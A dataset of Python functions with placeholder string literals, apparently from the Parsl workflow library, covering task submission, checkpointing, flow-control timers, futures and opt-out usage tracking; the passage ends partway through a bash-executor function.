{"signature": "def submit(self, func, *args, executors='<STR_LIT:all>', fn_hash=None, cache=False, **kwargs):", "body": "if self.cleanup_called:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>task_id = self.task_count<EOL>self.task_count += <NUM_LIT:1><EOL>if isinstance(executors, str) and executors.lower() == '<STR_LIT:all>':<EOL><INDENT>choices = list(e for e in self.executors if e != '<STR_LIT>')<EOL><DEDENT>elif isinstance(executors, list):<EOL><INDENT>choices = executors<EOL><DEDENT>executor = random.choice(choices)<EOL>args, kwargs = self._add_input_deps(executor, args, kwargs)<EOL>task_def = {'<STR_LIT>': None,<EOL>'<STR_LIT>': executor,<EOL>'<STR_LIT>': func,<EOL>'<STR_LIT>': func.__name__,<EOL>'<STR_LIT:args>': args,<EOL>'<STR_LIT>': kwargs,<EOL>'<STR_LIT>': fn_hash,<EOL>'<STR_LIT>': cache,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT:status>': States.unsched,<EOL>'<STR_LIT:id>': task_id,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None}<EOL>if task_id in self.tasks:<EOL><INDENT>raise DuplicateTaskError(<EOL>\"<STR_LIT>\".format(task_id))<EOL><DEDENT>else:<EOL><INDENT>self.tasks[task_id] = task_def<EOL><DEDENT>dep_cnt, depends = self._gather_all_deps(args, kwargs)<EOL>self.tasks[task_id]['<STR_LIT>'] = depends<EOL>task_stdout = kwargs.get('<STR_LIT>')<EOL>task_stderr = kwargs.get('<STR_LIT>')<EOL>logger.info(\"<STR_LIT>\".format(task_id,<EOL>task_def['<STR_LIT>'],<EOL>[fu.tid for fu in depends]))<EOL>self.tasks[task_id]['<STR_LIT>'] = threading.Lock()<EOL>app_fu = AppFuture(tid=task_id,<EOL>stdout=task_stdout,<EOL>stderr=task_stderr)<EOL>self.tasks[task_id]['<STR_LIT>'] = app_fu<EOL>app_fu.add_done_callback(partial(self.handle_app_update, task_id))<EOL>self.tasks[task_id]['<STR_LIT:status>'] = States.pending<EOL>logger.debug(\"<STR_LIT>\".format(task_id, task_def['<STR_LIT>']))<EOL>for d in depends:<EOL><INDENT>def callback_adapter(dep_fut):<EOL><INDENT>self.launch_if_ready(task_id)<EOL><DEDENT>try:<EOL><INDENT>d.add_done_callback(callback_adapter)<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.error(\"<STR_LIT>\".format(e))<EOL><DEDENT><DEDENT>self.launch_if_ready(task_id)<EOL>return task_def['<STR_LIT>']<EOL>", "docstring": "Add task to the dataflow system.\n\n        If the app task has the executors attributes not set (default=='all')\n        the task will be launched on a randomly selected executor from the\n        list of executors. If the app task specifies a particular set of\n        executors, it will be targeted at the specified executors.\n\n        >>> IF all deps are met:\n        >>>   send to the runnable queue and launch the task\n        >>> ELSE:\n        >>>   post the task in the pending queue\n\n        Args:\n            - func : A function object\n            - *args : Args to the function\n\n        KWargs :\n            - executors (list or string) : List of executors this call could go to.\n                    Default='all'\n            - fn_hash (Str) : Hash of the function and inputs\n                    Default=None\n            - cache (Bool) : To enable memoization or not\n            - kwargs (dict) : Rest of the kwargs to the fn passed as dict.\n\n        Returns:\n               (AppFuture) [DataFutures,]", "id": "f2769:c0:m11"}
{"signature": "def wait_for_current_tasks(self):", "body": "logger.info(\"<STR_LIT>\")<EOL>for task_id in self.tasks:<EOL><INDENT>fut = self.tasks[task_id]['<STR_LIT>']<EOL>if not fut.done():<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(task_id))<EOL>fut.exception()<EOL><DEDENT><DEDENT>logger.info(\"<STR_LIT>\")<EOL>", "docstring": "Waits for all tasks in the task list to be completed, by waiting for their\n        AppFuture to be completed. This method will not necessarily wait for any tasks\n        added after cleanup has started (such as data stageout?)", "id": "f2769:c0:m15"}
{"signature": "def cleanup(self):", "body": "logger.info(\"<STR_LIT>\")<EOL>if self.cleanup_called:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>self.cleanup_called = True<EOL>self.log_task_states()<EOL>if self.checkpoint_mode is not None:<EOL><INDENT>self.checkpoint()<EOL>if self._checkpoint_timer:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>self._checkpoint_timer.close()<EOL><DEDENT><DEDENT>self.usage_tracker.send_message()<EOL>self.usage_tracker.close()<EOL>logger.info(\"<STR_LIT>\")<EOL>self.flowcontrol.close()<EOL>for executor in self.executors.values():<EOL><INDENT>if executor.managed:<EOL><INDENT>if executor.scaling_enabled:<EOL><INDENT>job_ids = executor.provider.resources.keys()<EOL>executor.scale_in(len(job_ids))<EOL><DEDENT>executor.shutdown()<EOL><DEDENT><DEDENT>self.time_completed = datetime.datetime.now()<EOL>if self.monitoring:<EOL><INDENT>self.monitoring.send(MessageType.WORKFLOW_INFO,<EOL>{'<STR_LIT>': self.tasks_failed_count,<EOL>'<STR_LIT>': self.tasks_completed_count,<EOL>\"<STR_LIT>\": self.time_began,<EOL>'<STR_LIT>': self.time_completed,<EOL>'<STR_LIT>': (self.time_completed - self.time_began).total_seconds(),<EOL>'<STR_LIT>': self.run_id, '<STR_LIT>': self.run_dir})<EOL>self.monitoring.close()<EOL><DEDENT>\"\"\"<STR_LIT>\"\"\"<EOL>logger.info(\"<STR_LIT>\")<EOL>", "docstring": "DataFlowKernel cleanup.\n\n        This involves killing resources explicitly and sending die messages to IPP workers.\n\n        If the executors are managed (created by the DFK), then we call scale_in on each of\n        the executors and call executor.shutdown. Otherwise, we do nothing, and executor\n        cleanup is left to the user.", "id": "f2769:c0:m16"}
{"signature": "def checkpoint(self, tasks=None):", "body": "with self.checkpoint_lock:<EOL><INDENT>checkpoint_queue = None<EOL>if tasks:<EOL><INDENT>checkpoint_queue = tasks<EOL><DEDENT>else:<EOL><INDENT>checkpoint_queue = self.tasks<EOL><DEDENT>checkpoint_dir = '<STR_LIT>'.format(self.run_dir)<EOL>checkpoint_dfk = checkpoint_dir + '<STR_LIT>'<EOL>checkpoint_tasks = checkpoint_dir + '<STR_LIT>'<EOL>if not os.path.exists(checkpoint_dir):<EOL><INDENT>try:<EOL><INDENT>os.makedirs(checkpoint_dir)<EOL><DEDENT>except FileExistsError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>with open(checkpoint_dfk, '<STR_LIT:wb>') as f:<EOL><INDENT>state = {'<STR_LIT>': self.run_dir,<EOL>'<STR_LIT>': self.task_count<EOL>}<EOL>pickle.dump(state, f)<EOL><DEDENT>count = <NUM_LIT:0><EOL>with open(checkpoint_tasks, '<STR_LIT>') as f:<EOL><INDENT>for task_id in checkpoint_queue:<EOL><INDENT>if not self.tasks[task_id]['<STR_LIT>'] andself.tasks[task_id]['<STR_LIT>'].done() andself.tasks[task_id]['<STR_LIT>'].exception() is None:<EOL><INDENT>hashsum = self.tasks[task_id]['<STR_LIT>']<EOL>if not hashsum:<EOL><INDENT>continue<EOL><DEDENT>t = {'<STR_LIT>': hashsum,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT:result>': None}<EOL>try:<EOL><INDENT>r = self.memoizer.hash_lookup(hashsum).result()<EOL><DEDENT>except Exception as e:<EOL><INDENT>t['<STR_LIT>'] = e<EOL><DEDENT>else:<EOL><INDENT>t['<STR_LIT:result>'] = r<EOL><DEDENT>pickle.dump(t, f)<EOL>count += <NUM_LIT:1><EOL>self.tasks[task_id]['<STR_LIT>'] = True<EOL>logger.debug(\"<STR_LIT>\".format(task_id))<EOL><DEDENT><DEDENT><DEDENT>self.checkpointed_tasks += count<EOL>if count == <NUM_LIT:0>:<EOL><INDENT>if self.checkpointed_tasks == <NUM_LIT:0>:<EOL><INDENT>logger.warn(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>logger.info(\"<STR_LIT>\".format(count))<EOL><DEDENT>return checkpoint_dir<EOL><DEDENT>", "docstring": "Checkpoint the dfk incrementally to a checkpoint file.\n\n        When called, every task that has been completed yet not\n        checkpointed is checkpointed to a file.\n\n        Kwargs:\n            - tasks (List of task ids) : List of task ids to checkpoint. Default=None\n                                         if set to None, we iterate over all tasks held by the DFK.\n\n        .. note::\n            Checkpointing only works if memoization is enabled\n\n        Returns:\n            Checkpoint dir if checkpoints were written successfully.\n            By default the checkpoints are written to the RUNDIR of the current\n            run under RUNDIR/checkpoints/{tasks.pkl, dfk.pkl}", "id": "f2769:c0:m17"}
{"signature": "def _load_checkpoints(self, checkpointDirs):", "body": "memo_lookup_table = {}<EOL>for checkpoint_dir in checkpointDirs:<EOL><INDENT>logger.info(\"<STR_LIT>\".format(checkpoint_dir))<EOL>checkpoint_file = os.path.join(checkpoint_dir, '<STR_LIT>')<EOL>try:<EOL><INDENT>with open(checkpoint_file, '<STR_LIT:rb>') as f:<EOL><INDENT>while True:<EOL><INDENT>try:<EOL><INDENT>data = pickle.load(f)<EOL>memo_fu = Future()<EOL>if data['<STR_LIT>']:<EOL><INDENT>memo_fu.set_exception(data['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>memo_fu.set_result(data['<STR_LIT:result>'])<EOL><DEDENT>memo_lookup_table[data['<STR_LIT>']] = memo_fu<EOL><DEDENT>except EOFError:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT>except FileNotFoundError:<EOL><INDENT>reason = \"<STR_LIT>\".format(<EOL>checkpoint_file)<EOL>logger.error(reason)<EOL>raise BadCheckpoint(reason)<EOL><DEDENT>except Exception:<EOL><INDENT>reason = \"<STR_LIT>\".format(<EOL>checkpoint_file)<EOL>logger.error(reason)<EOL>raise BadCheckpoint(reason)<EOL><DEDENT>logger.info(\"<STR_LIT>\".format(checkpoint_file,<EOL>len(memo_lookup_table.keys())))<EOL><DEDENT>return memo_lookup_table<EOL>", "docstring": "Load a checkpoint file into a lookup table.\n\n        The data being loaded from the pickle file mostly contains input\n        attributes of the task: func, args, kwargs, env...\n        To simplify the check of whether the exact task has been completed\n        in the checkpoint, we hash these input params and use it as the key\n        for the memoized lookup table.\n\n        Args:\n            - checkpointDirs (list) : List of filepaths to checkpoints\n              Eg. ['runinfo/001', 'runinfo/002']\n\n        Returns:\n            - memoized_lookup_table (dict)", "id": "f2769:c0:m18"}
{"signature": "def load_checkpoints(self, checkpointDirs):", "body": "self.memo_lookup_table = None<EOL>if not checkpointDirs:<EOL><INDENT>return {}<EOL><DEDENT>if type(checkpointDirs) is not list:<EOL><INDENT>raise BadCheckpoint(\"<STR_LIT>\")<EOL><DEDENT>return self._load_checkpoints(checkpointDirs)<EOL>", "docstring": "Load checkpoints from the checkpoint files into a dictionary.\n\n        The results are used to pre-populate the memoizer's lookup_table\n\n        Kwargs:\n             - checkpointDirs (list) : List of run folder to use as checkpoints\n               Eg. ['runinfo/001', 'runinfo/002']\n\n        Returns:\n             - dict containing, hashed -> future mappings", "id": "f2769:c0:m19"}
{"signature": "@classmethod<EOL><INDENT>def clear(cls):<DEDENT>", "body": "cls._dfk = None<EOL>", "docstring": "Clear the active DataFlowKernel so that a new one can be loaded.", "id": "f2769:c1:m0"}
{"signature": "@classmethod<EOL><INDENT>@typeguard.typechecked<EOL>def load(cls, config: Optional[Config] = None):<DEDENT>", "body": "if cls._dfk is not None:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>if config is None:<EOL><INDENT>cls._dfk = DataFlowKernel(Config())<EOL><DEDENT>else:<EOL><INDENT>cls._dfk = DataFlowKernel(config)<EOL><DEDENT>return cls._dfk<EOL>", "docstring": "Load a DataFlowKernel.\n\n        Args:\n            - config (Config) : Configuration to load. This config will be passed to a\n              new DataFlowKernel instantiation which will be set as the active DataFlowKernel.\n        Returns:\n            - DataFlowKernel : The loaded DataFlowKernel object.", "id": "f2769:c1:m1"}
{"signature": "@classmethod<EOL><INDENT>def wait_for_current_tasks(cls):<DEDENT>", "body": "cls.dfk().wait_for_current_tasks()<EOL>", "docstring": "Waits for all tasks in the task list to be completed, by waiting for their\n        AppFuture to be completed. This method will not necessarily wait for any tasks\n        added after cleanup has started such as data stageout.", "id": "f2769:c1:m2"}
{"signature": "@classmethod<EOL><INDENT>def dfk(cls):<DEDENT>", "body": "if cls._dfk is None:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>return cls._dfk<EOL>", "docstring": "Return the currently-loaded DataFlowKernel.", "id": "f2769:c1:m3"}
{"signature": "def __init__(self, dfk, *args, threshold=<NUM_LIT:2>, interval=<NUM_LIT:2>):", "body": "pass<EOL>", "docstring": "Initialize the flowcontrol object. This does nothing.\n\n        Args:\n             - dfk (DataFlowKernel) : DFK object to track parsl progress\n\n        KWargs:\n             - threshold (int) : Tasks after which the callback is triggered\n             - interval (int) : seconds after which timer expires", "id": "f2770:c0:m0"}
{"signature": "def notify(self, event_id):", "body": "pass<EOL>", "docstring": "This notifiy fn does nothing.", "id": "f2770:c0:m1"}
{"signature": "def close(self):", "body": "pass<EOL>", "docstring": "This close fn does nothing.", "id": "f2770:c0:m2"}
{"signature": "def __init__(self, dfk, *args, threshold=<NUM_LIT:20>, interval=<NUM_LIT:5>):", "body": "self.dfk = dfk<EOL>self.threshold = threshold<EOL>self.interval = interval<EOL>self.cb_args = args<EOL>self.strategy = Strategy(dfk)<EOL>self.callback = self.strategy.strategize<EOL>self._handle = None<EOL>self._event_count = <NUM_LIT:0><EOL>self._event_buffer = []<EOL>self._wake_up_time = time.time() + <NUM_LIT:1><EOL>self._kill_event = threading.Event()<EOL>self._thread = threading.Thread(target=self._wake_up_timer, args=(self._kill_event,))<EOL>self._thread.daemon = True<EOL>self._thread.start()<EOL>", "docstring": "Initialize the flowcontrol object.\n\n        We start the timer thread here\n\n        Args:\n             - dfk (DataFlowKernel) : DFK object to track parsl progress\n\n        KWargs:\n             - threshold (int) : Tasks after which the callback is triggered\n             - interval (int) : seconds after which timer expires", "id": "f2770:c1:m0"}
{"signature": "def _wake_up_timer(self, kill_event):", "body": "while True:<EOL><INDENT>prev = self._wake_up_time<EOL>time_to_die = kill_event.wait(float(max(prev - time.time(), <NUM_LIT:0>)))<EOL>if time_to_die:<EOL><INDENT>return<EOL><DEDENT>if prev == self._wake_up_time:<EOL><INDENT>self.make_callback(kind='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Internal. This is the function that the thread will execute.\n        waits on an event so that the thread can make a quick exit when close() is called\n\n        Args:\n            - kill_event (threading.Event) : Event to wait on", "id": "f2770:c1:m1"}
{"signature": "def notify(self, event_id):", "body": "self._event_buffer.extend([event_id])<EOL>self._event_count += <NUM_LIT:1><EOL>if self._event_count >= self.threshold:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>self.make_callback(kind=\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Let the FlowControl system know that there is an event.", "id": "f2770:c1:m2"}
{"signature": "def make_callback(self, kind=None):", "body": "self._wake_up_time = time.time() + self.interval<EOL>self.callback(tasks=self._event_buffer, kind=kind)<EOL>self._event_buffer = []<EOL>", "docstring": "Makes the callback and resets the timer.\n\n        KWargs:\n               - kind (str): Default=None, used to pass information on what\n                 triggered the callback", "id": "f2770:c1:m3"}
{"signature": "def close(self):", "body": "self._kill_event.set()<EOL>self._thread.join()<EOL>", "docstring": "Merge the threads and terminate.", "id": "f2770:c1:m4"}
{"signature": "def __init__(self, callback, *args, interval=<NUM_LIT:5>):", "body": "self.interval = interval<EOL>self.cb_args = args<EOL>self.callback = callback<EOL>self._wake_up_time = time.time() + <NUM_LIT:1><EOL>self._kill_event = threading.Event()<EOL>self._thread = threading.Thread(target=self._wake_up_timer, args=(self._kill_event,))<EOL>self._thread.daemon = True<EOL>self._thread.start()<EOL>", "docstring": "Initialize the flowcontrol object\n        We start the timer thread here\n\n        Args:\n             - dfk (DataFlowKernel) : DFK object to track parsl progress\n\n        KWargs:\n             - threshold (int) : Tasks after which the callback is triggered\n             - interval (int) : seconds after which timer expires", "id": "f2770:c2:m0"}
{"signature": "def _wake_up_timer(self, kill_event):", "body": "<EOL>while True:<EOL><INDENT>prev = self._wake_up_time<EOL>time_to_die = kill_event.wait(float(max(prev - time.time(), <NUM_LIT:0>)))<EOL>if time_to_die:<EOL><INDENT>return<EOL><DEDENT>if prev == self._wake_up_time:<EOL><INDENT>self.make_callback(kind='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Internal. This is the function that the thread will execute.\n        waits on an event so that the thread can make a quick exit when close() is called\n\n        Args:\n            - kill_event (threading.Event) : Event to wait on", "id": "f2770:c2:m1"}
{"signature": "def make_callback(self, kind=None):", "body": "self._wake_up_time = time.time() + self.interval<EOL>self.callback(*self.cb_args)<EOL>", "docstring": "Makes the callback and resets the timer.", "id": "f2770:c2:m2"}
{"signature": "def close(self):", "body": "self._kill_event.set()<EOL>self._thread.join()<EOL>", "docstring": "Merge the threads and terminate.", "id": "f2770:c2:m3"}
{"signature": "def async_process(fn):", "body": "def run(*args, **kwargs):<EOL><INDENT>proc = mp.Process(target=fn, args=args, kwargs=kwargs)<EOL>proc.start()<EOL>return proc<EOL><DEDENT>return run<EOL>", "docstring": "Decorator function to launch a function as a separate process", "id": "f2771:m0"}
{"signature": "@async_process<EOL>def udp_messenger(domain_name, UDP_IP, UDP_PORT, sock_timeout, message):", "body": "try:<EOL><INDENT>if message is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>encoded_message = bytes(message, \"<STR_LIT:utf-8>\")<EOL>if encoded_message is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if domain_name:<EOL><INDENT>try:<EOL><INDENT>UDP_IP = socket.gethostbyname(domain_name)<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if UDP_IP is None:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>if UDP_PORT is None:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  <EOL>sock.settimeout(sock_timeout)<EOL>sock.sendto(bytes(message, \"<STR_LIT:utf-8>\"), (UDP_IP, UDP_PORT))<EOL>sock.close()<EOL><DEDENT>except socket.timeout:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>except OSError as e:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(e))<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(e))<EOL><DEDENT>", "docstring": "Send UDP messages to usage tracker asynchronously\n\n    This multiprocessing based messenger was written to overcome the limitations\n    of signalling/terminating a thread that is blocked on a system call. This\n    messenger is created as a separate process, and initialized with 2 queues,\n    to_send to receive messages to be sent to the internet.\n\n    Args:\n          - domain_name (str) : Domain name string\n          - UDP_IP (str) : IP address YYY.YYY.YYY.YYY\n          - UDP_PORT (int) : UDP port to send out on\n          - sock_timeout (int) : Socket timeout\n          - to_send (multiprocessing.Queue) : Queue of outgoing messages to internet", "id": "f2771:m1"}
{"signature": "def __init__(self, dfk, ip='<STR_LIT>', port=<NUM_LIT>,<EOL>domain_name='<STR_LIT>'):", "body": "self.domain_name = domain_name<EOL>self.ip = ip<EOL>self.sock_timeout = <NUM_LIT:5><EOL>self.UDP_PORT = port<EOL>self.UDP_IP = None<EOL>self.procs = []<EOL>self.dfk = dfk<EOL>self.config = self.dfk.config<EOL>self.uuid = str(uuid.uuid4())<EOL>self.parsl_version = PARSL_VERSION<EOL>self.python_version = \"<STR_LIT>\".format(sys.version_info.major,<EOL>sys.version_info.minor,<EOL>sys.version_info.micro)<EOL>self.test_mode, self.tracking_enabled = self.check_tracking_enabled()<EOL>logger.debug(\"<STR_LIT>\".format(self.tracking_enabled))<EOL>logger.debug(\"<STR_LIT>\".format(self.test_mode))<EOL>self.initialized = False<EOL>", "docstring": "Initialize usage tracking unless the user has opted-out.\n\n        We will try to resolve the hostname specified in kwarg:domain_name\n        and if that fails attempt to use the kwarg:ip. Determining the\n        IP and sending message is threaded to avoid slowing down DFK\n        initialization.\n\n        Tracks usage stats by inspecting the internal state of the dfk.\n\n        Args:\n             - dfk (DFK object) : Data Flow Kernel object\n\n        KWargs:\n             - ip (string) : IP address\n             - port (int) : Port number, Default:50077\n             - domain_name (string) : Domain name, will override IP\n                  Default: tracking.parsl-project.org", "id": "f2771:c0:m0"}
{"signature": "def check_tracking_enabled(self):", "body": "track = True   <EOL>test = False  <EOL>testvar = str(os.environ.get(\"<STR_LIT>\", '<STR_LIT:None>')).lower()<EOL>if testvar == '<STR_LIT:true>':<EOL><INDENT>test = True<EOL><DEDENT>if not self.config.usage_tracking:<EOL><INDENT>track = False<EOL><DEDENT>envvar = str(os.environ.get(\"<STR_LIT>\", True)).lower()<EOL>if envvar == \"<STR_LIT:false>\":<EOL><INDENT>track = False<EOL><DEDENT>return test, track<EOL>", "docstring": "By default tracking is enabled.\n\n        If Test mode is set via env variable PARSL_TESTING, a test flag is set\n\n        Tracking is disabled if :\n            1. config[\"globals\"][\"usageTracking\"] is set to False (Bool)\n            2. Environment variable PARSL_TRACKING is set to false (case insensitive)", "id": "f2771:c0:m1"}
{"signature": "def construct_start_message(self):", "body": "uname = getpass.getuser().encode('<STR_LIT>')<EOL>hashed_username = hashlib.sha256(uname).hexdigest()[<NUM_LIT:0>:<NUM_LIT:10>]<EOL>hname = socket.gethostname().encode('<STR_LIT>')<EOL>hashed_hostname = hashlib.sha256(hname).hexdigest()[<NUM_LIT:0>:<NUM_LIT:10>]<EOL>message = {'<STR_LIT>': self.uuid,<EOL>'<STR_LIT>': hashed_username,<EOL>'<STR_LIT>': hashed_hostname,<EOL>'<STR_LIT:test>': self.test_mode,<EOL>'<STR_LIT>': self.parsl_version,<EOL>'<STR_LIT>': self.python_version,<EOL>'<STR_LIT>': platform.system(),<EOL>'<STR_LIT>': platform.release(),<EOL>'<STR_LIT:start>': time.time()}<EOL>return json.dumps(message)<EOL>", "docstring": "Collect preliminary run info at the start of the DFK.\n\n        Returns :\n              - Message dict dumped as json string, ready for UDP", "id": "f2771:c0:m2"}
{"signature": "def construct_end_message(self):", "body": "app_count = self.dfk.task_count<EOL>site_count = len([x for x in self.dfk.config.executors if x.managed])<EOL>app_fails = len([t for t in self.dfk.tasks if<EOL>self.dfk.tasks[t]['<STR_LIT:status>'] in FINAL_FAILURE_STATES])<EOL>message = {'<STR_LIT>': self.uuid,<EOL>'<STR_LIT:end>': time.time(),<EOL>'<STR_LIT>': app_count,<EOL>'<STR_LIT>': site_count,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': app_fails,<EOL>'<STR_LIT:test>': self.test_mode,<EOL>}<EOL>return json.dumps(message)<EOL>", "docstring": "Collect the final run information at the time of DFK cleanup.\n\n        Returns:\n             - Message dict dumped as json string, ready for UDP", "id": "f2771:c0:m3"}
{"signature": "def send_UDP_message(self, message):", "body": "x = <NUM_LIT:0><EOL>if self.tracking_enabled:<EOL><INDENT>try:<EOL><INDENT>proc = udp_messenger(self.domain_name, self.UDP_IP, self.UDP_PORT, self.sock_timeout, message)<EOL>self.procs.append(proc)<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(e))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>x = -<NUM_LIT:1><EOL><DEDENT>return x<EOL>", "docstring": "Send UDP message.", "id": "f2771:c0:m4"}
{"signature": "def send_message(self):", "body": "start = time.time()<EOL>message = None<EOL>if not self.initialized:<EOL><INDENT>message = self.construct_start_message()<EOL>self.initialized = True<EOL><DEDENT>else:<EOL><INDENT>message = self.construct_end_message()<EOL><DEDENT>self.send_UDP_message(message)<EOL>end = time.time()<EOL>return end - start<EOL>", "docstring": "Send message over UDP.\n\n        If tracking is disables, the bytes_sent will always be set to -1\n\n        Returns:\n            (bytes_sent, time_taken)", "id": "f2771:c0:m5"}
{"signature": "def close(self):", "body": "for proc in self.procs:<EOL><INDENT>proc.terminate()<EOL><DEDENT>", "docstring": "We terminate (SIGTERM) the processes added to the self.procs list", "id": "f2771:c0:m7"}
{"signature": "def __init__(self, tid=None, stdout=None, stderr=None):", "body": "self._tid = tid<EOL>super().__init__()<EOL>self.parent = None<EOL>self._update_lock = threading.Lock()<EOL>self._outputs = []<EOL>self._stdout = stdout<EOL>self._stderr = stderr<EOL>", "docstring": "Initialize the AppFuture.\n\n        Args:\n\n        KWargs:\n             - tid (Int) : Task id should be any unique identifier. Now Int.\n             - stdout (str) : Stdout file of the app.\n                   Default: None\n             - stderr (str) : Stderr file of the app.\n                   Default: None", "id": "f2773:c0:m0"}
{"signature": "def parent_callback(self, executor_fu):", "body": "with self._update_lock:<EOL><INDENT>if not executor_fu.done():<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if executor_fu != self.parent:<EOL><INDENT>if executor_fu.exception() is None and not isinstance(executor_fu.result(), RemoteExceptionWrapper):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>try:<EOL><INDENT>res = executor_fu.result()<EOL>if isinstance(res, RemoteExceptionWrapper):<EOL><INDENT>res.reraise()<EOL><DEDENT>super().set_result(executor_fu.result())<EOL><DEDENT>except Exception as e:<EOL><INDENT>if executor_fu.retries_left > <NUM_LIT:0>:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>super().set_exception(e)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Callback from a parent future to update the AppFuture.\n\n        Used internally by AppFuture, and should not be called by code using AppFuture.\n\n        Args:\n            - executor_fu (Future): Future returned by the executor along with callback.\n              This may not be the current parent future, as the parent future may have\n              already been updated to point to a retrying execution, and in that case,\n              this is logged.\n\n              In the case that a new parent has been attached, we must immediately discard\n              this result no matter what it contains (although it might be interesting\n              to log if it was successful...)\n\n        Returns:\n            - None\n\n        Updates the super() with the result() or exception()", "id": "f2773:c0:m1"}
{"signature": "def update_parent(self, fut):", "body": "self.parent = fut<EOL>try:<EOL><INDENT>fut.add_done_callback(self.parent_callback)<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.error(\"<STR_LIT>\".format(e))<EOL><DEDENT>", "docstring": "Add a callback to the parent to update the state.\n\n        This handles the case where the user has called result on the AppFuture\n        before the parent exists.", "id": "f2773:c0:m5"}
{"signature": "def make_rundir(path):", "body": "try:<EOL><INDENT>if not os.path.exists(path):<EOL><INDENT>os.makedirs(path)<EOL><DEDENT>prev_rundirs = glob(os.path.join(path, \"<STR_LIT>\"))<EOL>current_rundir = os.path.join(path, '<STR_LIT>')<EOL>if prev_rundirs:<EOL><INDENT>x = sorted([int(os.path.basename(x)) for x in prev_rundirs])[-<NUM_LIT:1>]<EOL>current_rundir = os.path.join(path, '<STR_LIT>'.format(x + <NUM_LIT:1>))<EOL><DEDENT>os.makedirs(current_rundir)<EOL>logger.debug(\"<STR_LIT>\".format(current_rundir))<EOL>return os.path.abspath(current_rundir)<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.error(\"<STR_LIT>\")<EOL>logger.error(\"<STR_LIT>\".format(e))<EOL>raise<EOL><DEDENT>", "docstring": "When a path has not been specified, make the run directory.\n\n    Creates a rundir with the following hierarchy:\n        ./runinfo <- Home of all run directories\n          |----000\n          |----001 <- Directories for each run\n          | ....\n          |----NNN\n\n    Kwargs:\n        - path (str): String path to a specific run dir\n               Default : None.", "id": "f2774:m0"}
{"signature": "def remote_side_bash_executor(func, *args, **kwargs):", "body": "import os<EOL>import time<EOL>import subprocess<EOL>import logging<EOL>import parsl.app.errors as pe<EOL>logging.basicConfig(filename='<STR_LIT>'.format(time.time()), level=logging.DEBUG)<EOL>func_name = func.__name__<EOL>partial_cmdline = None<EOL>try:<EOL><INDENT>partial_cmdline = func(*args, **kwargs)<EOL>executable = partial_cmdline.format(*args, **kwargs)<EOL><DEDENT>except AttributeError as e:<EOL><INDENT>if partial_cmdline is not None:<EOL><INDENT>raise pe.AppBadFormatting(\"<STR_LIT>\".format(func_name, e))<EOL><DEDENT>else:<EOL><INDENT>raise pe.BashAppNoReturn(\"<STR_LIT>\".format(func_name, e), None)<EOL><DEDENT><DEDENT>except IndexError as e:<EOL><INDENT>raise pe.AppBadFormatting(\"<STR_LIT>\".format(func_name, e))<EOL><DEDENT>except Exception as e:<EOL><INDENT>logging.error(\"<STR_LIT>\".format(func_name, e))<EOL>raise e<EOL><DEDENT>logging.debug(\"<STR_LIT>\", executable)<EOL>def open_std_fd(fdname):<EOL><INDENT>stdfspec = kwargs.get(fdname)  <EOL>if stdfspec is None:<EOL><INDENT>return None<EOL><DEDENT>elif isinstance(stdfspec, str):<EOL><INDENT>fname = stdfspec<EOL>mode = '<STR_LIT>'<EOL><DEDENT>elif isinstance(stdfspec, tuple):<EOL><INDENT>if len(stdfspec) != <NUM_LIT:2>:<EOL><INDENT>raise pe.BadStdStreamFile(\"<STR_LIT>\" % (fdname, len(stdfspec)), TypeError('<STR_LIT>'))<EOL><DEDENT>fname, mode = stdfspec<EOL><DEDENT>else:<EOL><INDENT>raise pe.BadStdStreamFile(\"<STR_LIT>\" % (fdname, str(type(stdfspec))), TypeError('<STR_LIT>'))<EOL><DEDENT>try:<EOL><INDENT>fd = open(fname, mode)<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise pe.BadStdStreamFile(fname, e)<EOL><DEDENT>return 